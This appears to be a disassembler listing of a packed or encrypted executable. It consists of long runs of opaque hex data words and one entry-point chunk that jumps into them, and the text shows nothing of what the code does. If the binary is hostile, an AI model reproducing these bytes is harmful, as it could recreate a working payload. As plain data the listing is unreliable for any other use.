		dd 287C44FCh, 5F876E44h, 0EB910C20h, 0C05200EDh, 362460EEh
		dd 0BCF8053Ch, 7343F498h, 9E49D900h, 0A8CA442h,	0B7396600h
		dd 0DBE2E547h, 5CC52415h, 0D4EA00B0h, 8A45FC86h, 12601D59h
		dd 980F7640h, 0CFA10483h, 8B8090B8h, 4614D12Ah,	0A24FD800h
		dd 102E7F3Fh, 0DDAF39FDh, 7C93D20Ch, 60A8BA81h,	52009C8Bh
		dd 0E04A3E70h, 25DD40h,	7F3918C9h, 279AD2Ch, 1D674C5Ch
		dd 0CD00F815h, 3290AE75h, 600DF03Eh, 8F3511C0h,	7B6FBFD8h
		dd 8CA48828h, 0CF087AE7h, 0F174F9F4h, 8FA22400h, 0AF4D9DE6h
		dd 0C7C45CC0h, 314E428h, 94DA48E5h, 8EE08DD9h, 99005ACEh
		dd 16952CE2h, 83757B14h, 36976003h, 9C9666h, 3D95DE11h
		dd 2D9631Ch, 0D379641Fh, 5AB818FEh, 1EA3F91h, 2823FD7Dh
		dd 0D82E4EF1h, 1514A5EBh, 1824797Bh, 9931C6B5h,	2E539058h
		dd 621D38h, 92FD444Dh, 0A600806Eh, 0EC146C2Dh, 609CFB2Bh
		dd 0D6B999F0h, 4303414Eh, 961527D0h, 7F590198h,	3F3CA4F3h
		dd 325F6023h, 0EB30DA01h, 0FFFB5E6Bh, 0A54E4182h, 88A072E7h
		dd 0A60A205h, 28737007h, 6AEC156Bh, 32420527h, 4FF44609h
		dd 0AC22A458h, 61FDDAB7h, 985C6C97h, 596E6143h,	0DCA54414h
		dd 0E8001115h, 0DA63C6FDh, 0CC1EE6Fh, 0FBF55ED7h, 0E7001039h
		dd 0D4E9F0Ah, 18099C94h
		dd 18C55321h, 491918B4h, 4F815CB5h, 0B8A2E3F2h,	17CF8EEh
		dd 53262F95h, 0C8D112D9h, 3900F493h, 0BCB95A01h, 0F3F35E42h
		dd 0DC2E6981h, 0C4E50B16h, 9801F561h, 0E77A5506h, 0ABE0F7CBh
		dd 8CE452D3h, 9E049400h, 3E5073A1h, 19C07FF8h, 58DCE53Ch
		dd 0FDFF00C6h, 81626336h, 0C700E920h, 85CFA02Eh, 0C3058E7h
		dd 7DE47211h, 2100C639h, 0C805F368h, 609C857Ch,	0F98699FAh
		dd 73013F58h, 0A7625F30h, 0A44D4797h, 0A8C4B5E0h, 366D80h
		dd 0BCD49BF4h, 0F73C576Bh, 9FF43D50h, 0C4A89771h, 4F0002F6h
		dd 0DCF27B69h, 83453h, 721B12B3h, 0C10EFF83h, 0F15E51C3h
		dd 4D8924AFh, 113F0378h, 7C929613h, 0F89DEB60h,	1EC021C1h
		dd 4E60ED68h, 0F76A00B4h, 9470887Ch, 44902D02h,	1609344h
		dd 91A14FA5h, 0FCC8BAB5h, 0DE0C1E81h, 0D976E43Ch, 6A86C192h
		dd 0CC3216CAh, 0F00C864h, 0E338454Fh, 0BF08955h, 0EF7A1C36h
		dd 0E77B7700h, 2A1D5EA0h, 6201A53Ch, 23F110C4h,	4C9760h
		dd 6F7E309Fh, 18A9E814h, 3A532700h, 2D15E4C1h, 767A18F1h
		dd 0E97A18Bh, 0C32E9E00h, 8545A1D8h, 0F21F0035h, 96F4CF14h
		dd 8E1F521Ch, 0F1243048h, 24A5509h, 43021364h, 0B8499478h
		dd 0EACB8C10h, 0E0C78803h, 980DCA9Ah, 3192D7h, 0E7F80BCFh
		dd 0DA2E13E9h, 0EC03E4F4h, 693D9424h, 7D43C8A1h, 2F4F00ADh
		dd 4DF60DC1h, 57000532h, 0FB9E613h, 0EAF864h, 58C07E1Dh
		dd 96787B6Fh, 51B581CFh, 0C079C81Fh, 0A1F4C9A4h, 46003394h
		dd 89DA2D53h, 54E467E1h, 0CCBC7Ch, 33494FBFh, 8455F8Ah
		dd 4C0E3BEEh, 8FD62B3Eh, 4D97E3DBh, 7A311274h, 5C71h, 5BFA0642h
		dd 790096A5h, 0F938D4CDh, 3BFB7C9Fh, 331C4717h,	20929BC8h
		dd 0D2A15780h, 0F638AA1Ch, 0BC231AC7h, 0E09FE0FEh, 0FB1FCFh
		dd 0E4417F37h, 0C574D56Eh, 0D87EE70Ch, 7BAC41ADh, 7085E181h
		dd 81286EFAh, 87A9D6DCh, 876D4721h, 787308ECh, 4083034Ah
		dd 7BBEECD2h, 7D0A3900h, 8161494Ch, 9BA2064Eh, 409DCACDh
		dd 41B0A500h, 6EE796D6h, 1FA70048h, 36DAD210h, 600062F9h
		dd 4217B2FDh, 801235h, 72635FCBh, 2CF2343Eh, 0C0C0E67Ch
		dd 692E07EFh, 0C5570347h, 7618ACA3h, 0CDC38101h, 902B4EB5h
		dd 307E1530h, 0FC19338h, 1B90C474h, 59137209h, 0A418255h
		dd 50E18105h, 22DF64C3h, 70007AD1h, 0C8371DE1h,	15DFE26h
		dd 0AED4D284h, 80AF3811h, 0C90DCC59h, 0B3791BAh, 9D358A8Ch
		dd 0E041DD00h, 2213BEC2h, 9300DBC8h, 391F2F38h,	56970083h
		dd 497EA5F4h, 910015B0h, 19C933D7h, 1820B580h, 0E852B179h
		dd 8350AC90h, 0EE00C270h, 81124E5Bh, 2FAEBF1h, 0FB3F420Eh
		dd 1040B69Fh, 78394339h, 0F3A88218h, 2E9ACD7Eh,	80C404AAh
		dd 708E3C09h, 7E00CCF8h, 0D113E06h, 4EE4F5h, 26C4748h
		dd 17455C3Dh, 94016EF0h, 0AB28BF0Bh, 3FECED69h,	0FD9B04F9h
		dd 9056A16Fh, 0C3626850h, 80DF7639h, 27E15770h,	7466A210h
		dd 0F0196171h, 815FA1AFh, 31E0CC31h, 0BDC0F227h, 15E1C082h
		dd 0BBB2A0FAh, 2962E200h, 0CF6F4458h, 0FF10016Eh, 21B5C996h
		dd 0ED10204Ch, 0A39FF101h, 0E6C736AEh, 1B74C20h, 183442FEh
		dd 3015D7D2h, 1E000C97h, 58F451CCh, 9195396Eh, 0EC050A78h
		dd 59C0038Bh, 0C7A8BE57h, 20015EDh, 0B8229167h,	287BA7CFh
		dd 800E0Ch, 1E0AF254h, 0CA188E16h, 0A1A89E54h, 94600F00h
		dd 0B66E0654h, 39701883h, 0CB2369ABh, 92C60400h, 892FEB49h
		dd 50A12A88h, 61B40084h, 0DC4807E3h, 4607BE77h,	0C3D9E556h
		dd 0F6D01737h, 7F365Ch,	0A31CB449h, 4BB022E0h, 0FF9AD700h
		dd 0B17599F8h, 0ACB601A6h, 2C563457h, 65998F94h, 8290A20h
		dd 51B86601h, 215992Bh,	21BA9818h, 57B29880h, 88037655h
		dd 0CAEF68E6h, 39290003h, 24F2B51Fh, 0B8060465h, 53C58310h
		dd 0E53A0040h, 0DF810FA5h, 4037FB74h, 849018BDh, 0E3C7EEh
		dd 50481547h, 6966077Ah, 7782AC12h, 9040D825h, 75AA3CEh
		dd 8C2954F5h, 0A0905433h, 5E2C01E8h, 72E6C63Fh,	43A0F71Dh
		dd 0B379848Fh, 730AD0E0h, 742A563Bh, 38371C05h,	98172002h
		dd 0B9676087h, 39A41C4Ah, 47D207E1h, 6CDBA00Ah,	0CAF403E8h
		dd 51419C65h, 49BFD680h, 4B830AA8h, 119C7273h, 0A716019Bh
		dd 89BC42C4h, 4F2C980h,	2ADD92C2h, 0D3F4A400h, 916E3071h
		dd 9DCB0DAAh, 42D9D17Eh, 1C831D3Ch, 19004DA0h, 0E51F326Dh
		dd 16C91B1h, 95B49DF0h,	802F5636h, 3215A539h, 1255BC48h
		dd 2128517Dh, 63FF0740h, 1CEB2614h, 6078661Dh, 0BF294521h
		dd 5A310230h, 8916E180h, 0DC579B80h, 0F4A42A51h, 0CCBD52h
		dd 9A4284D1h, 305A094Bh, 41981BEh, 0F61C15D6h, 0A6C658DFh
		dd 147953A0h, 0D51F31BFh, 0B9325B0Eh, 7F302621h, 42062D5h
		dd 0E8378352h, 858868C7h, 252E5670h, 6F1000ACh,	40E93CFDh
		dd 0A0449E0Ah, 0A8003056h, 65DB2901h, 3F0803B2h, 41F9F835h
		dd 560E94D8h, 3643157h,	6B7464E8h, 0EA2BD3E6h, 0BC44A0h
		dd 0F85B1CFCh, 9AE8C7F6h, 0FB003676h, 0B4DFE7F9h, 6FCA1980h
		dd 0DF5101h, 6467B8F5h,	66055CFBh, 0CB8C081Fh, 8C9AEC08h
		dd 63310BCDh, 31FBE000h, 9AB4869Bh, 29D20067h, 6F328C78h
		dd 1514991Dh, 0C0AC5CB1h, 571EEA20h, 4C0303DFh,	0A7DB7EFEh
		dd 2270594Ch, 80100272h, 0B21642C8h, 0E297C468h, 6AFAC105h
		dd 148887ACh, 8430017h,	0CCDBC64Bh, 490997ADh, 80713082h
		dd 2DFBA564h, 0A96F3CACh, 0D5E2201h, 9807CA89h,	0E62EF7C1h
		dd 98990EFFh, 39606D9Ch, 23C50450h, 6614CD50h, 2156221Eh
		dd 0C1C8100h, 9248C41h,	93F0BB6Eh, 0D799FC07h, 48181037h
		dd 0A12062D6h, 7779002Bh, 4A0ABB35h, 0F806EE1Dh, 0B8E4AB8Dh
		dd 842903F6h, 6CBE54A6h, 13B6D105h, 4808B08h, 480A3FF4h
		dd 52C0D8E9h, 0B5832489h, 75C76238h, 0C000F24Ch, 0BD11FE7Ch
		dd 0B4200113h, 771E9409h, 2C06DC08h, 0CB0B705h,	68C00490h
		dd 9854E18Ah, 50E605B4h, 0C1E31936h, 876866C4h,	0DF9490D0h
		dd 0C104141h, 0C31E6E1h, 2C364400h, 60FE14A0h, 0A407B41Dh
		dd 0BACD8018h, 6A67019Eh, 0F2FC5615h, 8006C46h,	0B55DA951h
		dd 0FDE709h, 0CFCDADBBh, 2B403626h, 0EF64C73h, 80F4395Ch
		dd 0DA812FB8h, 0DE5D001Ch, 0B1A7934Ch, 6602F8D6h, 4436F53Bh
		dd 14A0E017h, 58E83907h, 71E2FEB9h, 0B8443151h,	3FB3814h
		dd 764600E2h, 81194BD5h, 40C760DCh, 0E03B32CCh,	0A45F2500h
		dd 3716314Eh, 6AF53010h, 1275EBD8h, 6ED5D200h, 0F4CA878Fh
		dd 949250FAh, 286848A7h, 0CF8ED29h, 0EC1AE33h, 48E93100h
		dd 0D7C8A203h, 2F7F013Ch, 5150C747h, 7E09C4B7h,	31A0D930h
		dd 5FDC425h, 0EC07F170h, 0FC640201h, 0F4C017A8h, 5E60A136h
		dd 0AEFB0619h, 0B0CB0425h, 434C9A50h, 0E80733B8h, 1162EE8h
		dd 5F18864Ah, 32CDC39Ah, 0D01C00A4h, 1BB1E6D3h,	338D0995h
		dd 0B420E00Ch, 7F6E0439h, 99A3D637h, 0EA1934C1h, 8A6D6860h
		dd 23B79C00h, 38C0E365h, 0ADA88A2Fh, 28EF4C18h,	6CC21BC0h
		dd 2D076AB9h, 26A96263h, 0A310560h, 64235856h, 0D301448Fh
		dd 0EFF907BDh, 9938C918h, 3D6F81h, 700EC292h, 0F9FEFB0Ah
		dd 9B72BA00h, 8062DF1Ch, 13934885h, 20A14F13h, 0FA5FBED4h
		dd 0B2F98F00h, 0AA4481CFh, 99FB014Ch, 4863B925h, 0E6A6EC6Bh
		dd 0C139F800h, 9D36965Ah, 79A76038h, 3BEC9FE8h,	197F1F15h
		dd 10F84A48h
		dd 0E5695500h, 0B635E198h, 300D9E4h, 4151C272h,	906D4912h
		dd 75A40910h, 386BBDBCh, 60CD0C00h, 906F7367h, 55B098Fh
		dd 0EC888CA4h, 0D3106088h, 8860BDCBh, 6F82C439h, 0AA290780h
		dd 9073BC63h, 346269EDh, 53F39B02h, 52BD50E1h, 80200E8h
		dd 0D4D337E8h, 0F21EC5CDh, 7F04EF82h, 5040A3DEh, 0CA04194Ch
		dd 0AE00A0B1h, 96CBA8CCh, 22820035h, 0F082E61h,	0A09852E8h
		dd 0DA83AF0Fh, 32F4h, 4E0E60E7h, 0F60712AAh, 0CD58325Ah
		dd 7EBDDD01h, 0CC7C9180h, 2AF82754h, 9E8BD801h,	37064F91h
		dd 0E460DBCDh, 88CD7841h, 0DD00581Ch, 0C5F5FAB9h, 1EC06FC3h
		dd 0C05F421Bh, 3038835Ch, 334AF61Dh, 932AB420h,	62A30539h
		dd 10107F0h, 0E8DA8048h, 347020C6h, 9580A091h, 0CCF63878h
		dd 18D90A39h, 0F40CAE3h, 64A0B188h, 0AE68A18Fh,	9D2BD83Ch
		dd 0C944B30Ah, 0D8C8BDB7h, 0C24500C3h, 7570A1C4h, 9A02A215h
		dd 5613CFEEh, 0CC288829h, 0A7B71F60h, 1BEE850h,	0E8D686D0h
		dd 72F2077Dh, 80D9396Ch, 5F9D9ECBh, 73F0E3h, 7CC61A8Dh
		dd 0CF21F97Bh, 67870200h, 9922AC7Fh, 0E9B71F23h, 6001C096h
		dd 73F97EAFh, 40C70230h, 38AECC8Fh, 4F800ED9h, 0DC6323F4h
		dd 0EE06F8D1h, 0B8B74338h, 4A285829h, 9213C507h, 849FF1BFh
		dd 0DCA9D40Dh, 2C8BDA00h, 0A5A88C40h, 9D30C067h, 24EF57F9h
		dd 0B0C2C00Bh, 8E1E0602h, 10E78B9h, 19980934h, 40B020E2h
		dd 393F6134h, 0F92FF500h, 1B336374h, 28A80017h,	0EAE66D5Fh
		dd 8003779Ah, 0B689AC7Ch, 0D93900D1h, 0A149DD74h, 9E307FB9h
		dd 0F4830A81h, 95470CFCh, 0B299604Fh, 3C0C6100h, 8DBAF63Eh
		dd 59690319h, 8A6D667Ch, 1BEFA148h, 0C030EC84h,	786497C3h
		dd 0CB2E0CE8h, 6019EDE6h, 9B92AA01h, 4FAEDD5Bh,	95876180h
		dd 0B9C6D70Fh, 0ED83681Fh, 0D23E8E40h, 334B148h, 5E1E1901h
		dd 33986077h, 24043839h, 47B0E222h, 0D04A9980h,	6F40A8A1h
		dd 87B407DDh, 0FCAEDE09h, 1E07D369h, 0CAFF03A9h, 0ED38E4C0h
		dd 846B00C8h, 8E1C3931h, 7E023FB0h, 7A5DF60Eh, 0D9887F7Bh
		dd 0CA278098h, 0DE3D9AACh, 0D52E4203h, 0B92F59B6h, 71F86250h
		dd 6CB800DCh, 2E5A8AC0h, 0E7188F4Fh, 0D741C3B7h, 760900CEh
		dd 95FA707Dh, 39019DDCh, 0E2B6CB87h, 2980C9B7h,	72351A23h
		dd 0E9608422h, 0A34F04D1h, 1C27002Dh, 0B3732B55h, 1A3C667Ah
		dd 9D0CF7BEh, 0E969A42Fh, 0EA9A0E79h, 398068EDh, 0DBC7F997h
		dd 0A3522D06h, 695094h,	0D81D199Dh, 0F5C0DF26h,	0D0286C90h
		dd 0B10E58B6h, 20B9228Ch, 1D2DAF82h, 0C9B50E96h, 0AC94E223h
		dd 77006822h, 8C4C0DB9h, 7416C6h, 79F269BEh, 0CDB045A3h
		dd 0F851DDh, 5F7C072h, 0B0C99D0Eh, 0ABB90B6Fh, 7B805BEAh
		dd 0A425CCAFh, 0ED0E3C91h, 22122FFAh, 4175D313h, 0B711E238h
		dd 0A85980B6h, 7662B3E4h, 735C0071h, 81FD88FFh,	0DBB87A9Dh
		dd 3A12DF7Fh, 0E8077520h, 4330FA56h, 0C05D4895h, 2EFFAD69h
		dd 0CF7EA11Dh, 0BBE27D00h, 5335F40Eh, 0AF550390h, 5A1D9514h
		dd 50BC3140h, 0EEE7CB15h, 873303D0h, 0E70847Ah,	2868D011h
		dd 0B10CBC00h, 0EB00DBE5h, 488ECB4Ah, 72C54AEh,	257F9F47h
		dd 596486F1h, 0DF601EE2h, 81176D84h, 96C832F0h,	80C0C3F1h
		dd 6900272Eh, 7DD8FC86h, 0DF88F266h, 877B4621h,	0B5008175h
		dd 353128E9h, 68D419h, 27895C12h, 777C4474h, 0F287273h
		dd 0D43C84FCh, 0C60215A2h, 8E5006A8h, 5998C8h, 95060CF8h
		dd 137859DAh, 0C71F7B7Bh, 61409B5Dh, 0E5825B68h, 0CFB73031h
		dd 92D9BF41h, 5EAFB500h, 6071E4Ch, 0A8274D31h, 89DF5A00h
		dd 99E1FE26h, 0C4B05718h, 0CD0A39h, 0FAC2F75Ch,	66A51BEFh
		dd 0A20B8CA8h, 0CE00F4E6h, 0A004F618h, 0F62A6A76h, 7F8B0929h
		dd 4490C80Eh, 482C0D31h, 9002C79h, 6F84CEA7h, 740A0075h
		dd 40EEAADh, 0A903AE27h, 0BA2266C1h, 9361A195h,	24B74193h
		dd 0DC388090h, 80003057h, 0A00C3745h, 121B2095h, 1D2141FFh
		dd 1D1F408Eh, 0E5BC9B91h, 0D80153h, 0A6B68568h,	48FEC169h
		dd 53226CF1h, 0E7BEEC00h, 0DCDDB3CCh, 8FF00EEh,	0EF7A46A3h
		dd 0CE09A205h, 98589625h, 4D85B68h, 208D6310h, 49408094h
		dd 0CB30814Eh, 9B757182h, 6E63D89h, 39E1DA18h, 74711F1Eh
		dd 4A6601Fh, 8DE82740h,	26252DE2h, 0C86A4Fh, 0C740F23Eh
		dd 0F148811Dh, 6A73B08h, 86DDCB76h, 15721549h, 0CC438CB9h
		dd 5AD62B00h, 0D26A1B7Ch, 8016B83Eh, 0E9AEE72h,	48AA75C6h
		dd 7E00AC24h, 67D25850h, 0B1C19FC8h, 0BBF3B211h, 2CC37DECh
		dd 2C31206h, 1CBCEE9Eh,	604B5460h, 11C4698Ah, 50F4DC4h
		dd 28053E04h, 0DC9C89A4h, 300087A9h, 0E82C1F70h, 621B3E2h
		dd 0B7409A4Fh, 0BB0FB9C5h, 407CA37Ah, 0A45EE20Eh, 4424C0Fh
		dd 0B73440h, 6B9BF02Ah,	0DDFA669h, 6D004AECh, 0D656F601h
		dd 3114DC9h, 95F5B397h,	397A634Bh, 7A253019h, 0C2F84DA8h
		dd 3A53001Bh, 0D494A02Bh, 9160C86Dh, 53201F9h, 0DFB0FB2h
		dd 6B20D519h, 4BB0A9B7h, 9CC1A48h, 10C9FF9Bh, 1F40768h
		dd 0AFEF4F96h, 0EC932386h, 2D4CB5F6h, 89631100h, 0A74F0C78h
		dd 49118CCBh, 2A0A4D77h, 9CD60929h, 36F5FD03h, 77E8D924h
		dd 40C85F01h, 50B97A18h, 0DBFBA402h, 0C02FDC20h, 7DFDAB0h
		dd 25B3B6CCh, 4E17407Dh, 0D83E1C67h, 853EFADDh,	6015B166h
		dd 7C607D0Dh, 4C2F0AD5h, 199C3D7Fh, 10EF70B8h, 6092414Dh
		dd 6DC30B3h, 0D0A4B696h, 0CF0EC00h, 0B89AE4A6h,	0FFAF069Ch
		dd 489F114Ah, 0E09A7DEAh, 0E7E8CC0Fh, 0B7B68010h, 0C026BDDFh
		dd 9CFFC50h, 0AB88C9B0h, 19C21F11h, 87F681DBh, 6343147Fh
		dd 242200B4h, 66BB5CF8h, 6B8A4F6h, 0C8FC0C11h, 0B001190h
		dd 4153BB6Ah, 98875D86h, 75A09020h, 3A192C44h, 3B6E09E4h
		dd 0D1D21C99h, 968BE8C0h, 76A73C00h, 40FEE5A2h,	7C730EFFh
		dd 0CD77BDCh, 3B87710h,	941B9624h, 90129E02h, 21B0C074h
		dd 0F67D00D7h, 0AFD3DF50h, 0B4EA2B66h, 18255Ch,	28AE47DAh
		dd 49A5E853h, 12004462h, 8C95B75Ah, 250256E1h, 0CB3DF494h
		dd 80C0E6E9h, 0DD13D1h,	0B7B47FD4h, 73F574CEh, 8FF11462h
		dd 47BC8095h, 60C8D6DCh, 0BE161999h, 4F00DDAEh,	6BCE0536h
		dd 778CC35h, 0B56A87D9h, 0C9FC22D3h, 0F101F044h, 0E151C660h
		dd 6FCE77Fh, 0DA2CC045h, 0F643BEFh, 0E9EC0205h,	0CE181E88h
		dd 0FE3167A1h, 9972F7h,	0EB0EA747h, 4877C289h, 9C270101h
		dd 4391CDB5h, 900AC73h,	349D474Fh, 8012A74h, 2740840Fh
		dd 8C504DA4h, 82336Dh, 2F251F39h, 0DD7404E9h, 946F2101h
		dd 93027CC8h, 0B638A076h, 4024329Ch, 0F6EB45ADh, 3A003948h
		dd 1D200FA1h, 0E68F5E71h, 3D4178F0h, 153EB422h,	0A77FA901h
		dd 0F44AEDB6h, 0F626C017h, 0F763FC58h, 1E87B0F9h, 0E2DF0031h
		dd 21CB0F8Dh, 4600882Ch, 860E5A14h, 0A6917F5h, 748494BBh
		dd 0E3F2808Ch, 916D4EC2h, 8B209900h, 3505FCE5h,	1ADB002Dh
		dd 52070F30h, 1D0759F6h, 0F82538A5h, 0C8C47317h, 9B52CA4h
		dd 27D70CF1h, 83936484h, 5DB4AA8h, 81F649A0h, 0DFE6B41Fh
		dd 0CDCEFB80h, 0AB97C870h, 0D34A88E8h, 0F02096Bh, 1D0CBF01h
		dd 2700E859h, 0C3FEAD76h, 5D72E43Ch, 753B2CD7h,	9C1111h
		dd 424D1426h, 12F65398h, 20849580h, 0CE48254Ch,	3260C900h
		dd 12C5DC22h, 7F843310h, 0F9904121h, 7E5CB6A2h,	516D04A3h
		dd 8FC33966h, 18C688F6h
		dd 0CC6048A1h, 5900A2Ch, 0C1964FA6h, 49E6CB3Ch,	5D6810A4h
		dd 0D7005725h, 113D93ACh, 15E0408h, 0B6225469h,	0ED8DB2EAh
		dd 313ECFC8h, 0AFD581E2h, 451229F5h, 3AA5D820h,	8A00F816h
		dd 0CADF2D8Ch, 6B0B40ECh, 4F58510h, 0BCC1A7A8h,	0F9D1DC74h
		dd 94FB860h, 0EE762F37h, 0B822E081h, 29A5h, 0F47B0A8Ch
		dd 0C7F945h, 0DF40713Fh, 0B0397550h, 1BA4CA54h,	0B4146C00h
		dd 346BA16Eh, 0E2B105E9h, 0CD238EEDh, 30B3F1DCh, 3B03B7C4h
		dd 43E69491h, 1C2C9050h, 0D8E20CA4h, 0DBC87D80h, 1230A07Dh
		dd 0DF599001h, 0A63A13BAh, 90BC1FC6h, 2548058Dh, 0EC0046A5h
		dd 0F17F339Fh, 609816h,	42068C0Bh, 27834B84h, 3B708D06h
		dd 50403873h, 88E8C04Fh, 0A49C0372h, 5C82B865h,	97DC838Ah
		dd 66A08ADFh, 795A7068h, 0F7EB0067h, 99CB6A44h,	340CDB0Fh
		dd 616FA808h, 3118A0A4h, 0DFB400D6h, 0FA26633Ah, 0CC00E87Dh
		dd 0C722E6DCh, 58721759h, 0C79F000Bh, 49874611h, 0DD76B418h
		dd 0D0E29701h, 50E30FDFh, 13A459DCh, 221D94E6h,	68818410h
		dd 0F0F5DE90h, 1B1FA58Ch, 60A428DCh, 212FDD05h,	5E9E0CCh
		dd 0CDE2CEE5h, 9704186h, 0C8F839C5h, 72001445h,	0DCD9D0B8h
		dd 14F6349Ah, 9081ACBDh, 0E9C6C2Ch, 4780B2F1h, 58F7EED0h
		dd 1CC9529h, 0B0FDFF7Fh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53E1CD:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_541506
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0B7D0h
		dd 1F9h, 69DD0000h, 9Fh, 0A1440000h, 77E7h, 5 dup(0)
		dd 0DA290000h, 2FE80058h, 77E8h, 77D4h,	5 dup(0)
		dd 940000h, 0
		dd 78D10000h, 0C412h, 8	dup(0)
		dd 72180000h, 9D330057h, 71FEh,	230000h, 57h, 5	dup(0)
		dd 9F70000h, 9Fh, 8 dup(0)
		dd 0E6040000h, 10000058h, 7 dup(0)
		dd 6A780000h, 0B80000h,	0B000000h, 0C20374C0h, 448B0018h
		dd 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	14h dup(0)
		dd 0A5E70000h, 0A3h, 76AA0000h,	325Dh, 9 dup(0)
		dd 0DFC60000h, 10057h, 5 dup(0)
		dd 0EB8D0000h, 0FD9Ah, 2 dup(0)
		dd 36790000h, 1E44h, 2 dup(0)
		dd 1E920000h, 0A1440059h, 0BDB577E7h, 57h, 11h dup(0)
		dd 8D130000h, 56h, 0D8A60000h, 0CD60h, 6 dup(0)
		dd 25Ah, 3 dup(0)
		dd 180B0000h, 77F5h, 0
		dd 0CDCE0000h, 58h, 0Ah	dup(0)
		dd 0BB330000h, 53ECh, 11h dup(0)
		dd 6C0000h, 2 dup(0)
		dd 14340000h, 0
		dd 0E5260000h, 0FA6Ah, 4 dup(0)
		dd 2BBC0000h, 58h, 0
		dd 0B1B30000h, 57h, 0Dh	dup(0)
		dd 2EB80000h, 7736h, 3 dup(0)
		dd 240h, 0
		dd 880000h, 75B50000h, 5E3B0000h, 0C96AFFA8h, 3FF77D4h
		dd 0
		dd 0FEAA0000h, 28E8h, 8	dup(0)
		dd 15640000h, 6CB800A0h, 248h, 4 dup(0)
		dd 900000h, 9 dup(0)
		dd 0A8B50000h, 0FFA8h, 2 dup(0)
		dd 0D4440000h, 0FFA7h, 3040000h, 7FFEh,	4 dup(0)
		dd 24240000h, 2424h, 2 dup(0)
		dd 6B910000h, 1246h, 2FD60000h,	213h, 4	dup(0)
		dd 9Eh,	0
		dd 90470000h, 67800057h, 58h, 8D8D0000h, 357Ah,	9 dup(0)
		dd 0A80000h, 8F8C0000h,	0D22D0057h, 0CB7h, 2 dup(0)
		dd 76CD0000h, 77E7h, 2 dup(0)
		dd 8F8C0000h, 57h, 3 dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 0A0370000h, 9Fh, 6 dup(0)
		dd 8C0A0000h, 9Fh, 0
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 10000h, 0
		dd 10000000h, 98320040h, 0B9D2h, 69C40000h, 1B1Fh, 2 dup(0)
		dd 3040000h, 0FF547FFEh, 12h, 6	dup(0)
		dd 0DA5A0000h, 1E78h, 0C3240000h, 0D609h, 4 dup(0)
		dd 0A0770000h, 0B1h, 3 dup(0)
		dd 6A600000h, 5000h, 9 dup(0)
		dd 36030000h, 3044FEDh,	237FFEh, 53h, 3	dup(0)
		dd 492B0000h, 0E942h, 6	dup(0)
		dd 0E800000h, 2	dup(0)
		dd 5ECC0000h, 177DDh, 3	dup(0)
		dd 0FFFE0000h, 0FFFFh, 6 dup(0)
		dd 0FCFC0000h, 198001h,	2 dup(0)
		dd 10C40000h, 3	dup(0)
		dd 1C3F0000h, 4D65h, 15680000h,	0A0h, 20000h, 0B2610000h
		dd 34D8AE1Bh, 1FA8h, 10h dup(0)
		dd 667A0000h, 3	dup(0)
		dd 22B90000h, 0F7320FACh, 56h, 0
		dd 93930000h, 9Fh, 10h dup(0)
		dd 40h,	3 dup(0)
		dd 0FF6E0000h, 5E9BFA7Bh, 59h, 0
		dd 0FFFF0000h, 0A8F3FFFFh, 0F62B14ADh, 0FF6E0056h, 0FA7Bh
		dd 0Ah dup(0)
		dd 915B0000h, 0F732009Fh, 56h, 2 dup(0)
		dd 3F660000h, 2	dup(0)
		dd 0FF540000h, 0
		dd 20910000h, 54h, 2 dup(0)
		dd 5FF00000h, 62980000h, 1C000000h, 5FF10057h, 0FF60h
		dd 0
		dd 56430000h, 6	dup(0)
		dd 49CE0000h, 1B8h, 0
		dd 3040000h, 0B6A3h, 29h dup(0)
		dd 858C0000h, 797h, 2 dup(0)
		dd 10000h, 0FC6A0000h, 8585h, 0
		dd 6BB80000h, 5Ah, 0
		dd 7A74B4E3h, 0F868h, 5Fh dup(0)
		dd 3040000h, 0E2CA7FFEh, 53h, 3040000h,	7FFEh, 7 dup(0)
		dd 0FFE00000h, 12h, 6 dup(0)
		dd 0B9F90000h, 0A26Ch, 3 dup(0)
		dd 56430000h, 0
		dd 667A0000h, 2	dup(0)
		dd 3040000h, 7FFEh, 8F9E0000h, 6CB0057h, 8 dup(0)
		dd 667A0000h, 3	dup(0)
		dd 11400000h, 0B512h, 0F5B60000h, 2 dup(0)
		dd 29F90000h, 6F68h, 6 dup(0)
		dd 0A80000h, 7 dup(0)
		dd 0BBC80000h, 3040058h, 189A7FFEh, 77DDh, 2 dup(0)
		dd 2EB0000h, 3E3B1D8Bh,	9Fh, 8 dup(0)
		dd 1B400000h, 76B4h, 4 dup(0)
		dd 0A00F0000h, 7FFEh, 5	dup(0)
		dd 0A00F0000h, 9Fh, 15h	dup(0)
		dd 8D4B0000h, 8	dup(0)
		dd 0A6E90000h, 77EBh, 8	dup(0)
		dd 2F0C0000h, 8B22h, 3 dup(0)
		dd 0C0000h, 240h, 7 dup(0)
		dd 0C0FC0000h, 0FABh, 3	dup(0)
		dd 0A8950000h, 0E7B0FD89h, 3 dup(0)
		dd 7D950000h, 5Ah, 7 dup(0)
		dd 3B20000h, 28960054h,	57h, 0
		dd 72980000h, 0
		dd 0D3E70000h, 1A77h, 8	dup(0)
		dd 667A0000h, 2	dup(0)
		dd 0A6940000h, 0BBC8FFFFh, 58h,	2 dup(0)
		dd 59640000h, 3040058h,	7FFEh, 33110000h, 0
		dd 4A1E0000h, 58h, 0
		dd 30DF0000h, 6508A9C5h, 69DD1E78h, 9Fh, 3 dup(0)
		dd 0C1E10000h, 1, 4 dup(0)
		dd 36360000h, 0FE283636h, 0FFBFh, 0Dh dup(0)
		dd 67530000h, 7940h, 0F62B0000h, 56h, 3040000h,	7FFEh
		dd 500000h, 0FDE0h, 5 dup(0)
		dd 5E2E0000h, 9Fh, 0FF980000h, 0EB6CFFFFh, 57h,	2 dup(0)
		dd 3B510000h, 58h, 0
		dd 9D50000h, 0E526FFA9h, 0FA6Ah, 0
		dd 0E7C0000h, 7FFEh, 5E050000h,	59h, 2 dup(0)
		dd 36330000h, 5Ah, 0E5260000h, 0FA6Ah, 6 dup(0)
		dd 858C0000h, 797h, 0C6000000h,	3, 2 dup(0)
		dd 9C370000h, 9Fh, 5 dup(0)
		dd 0FCFC0000h, 0FFFFh, 0
		dd 10000h, 2 dup(0)
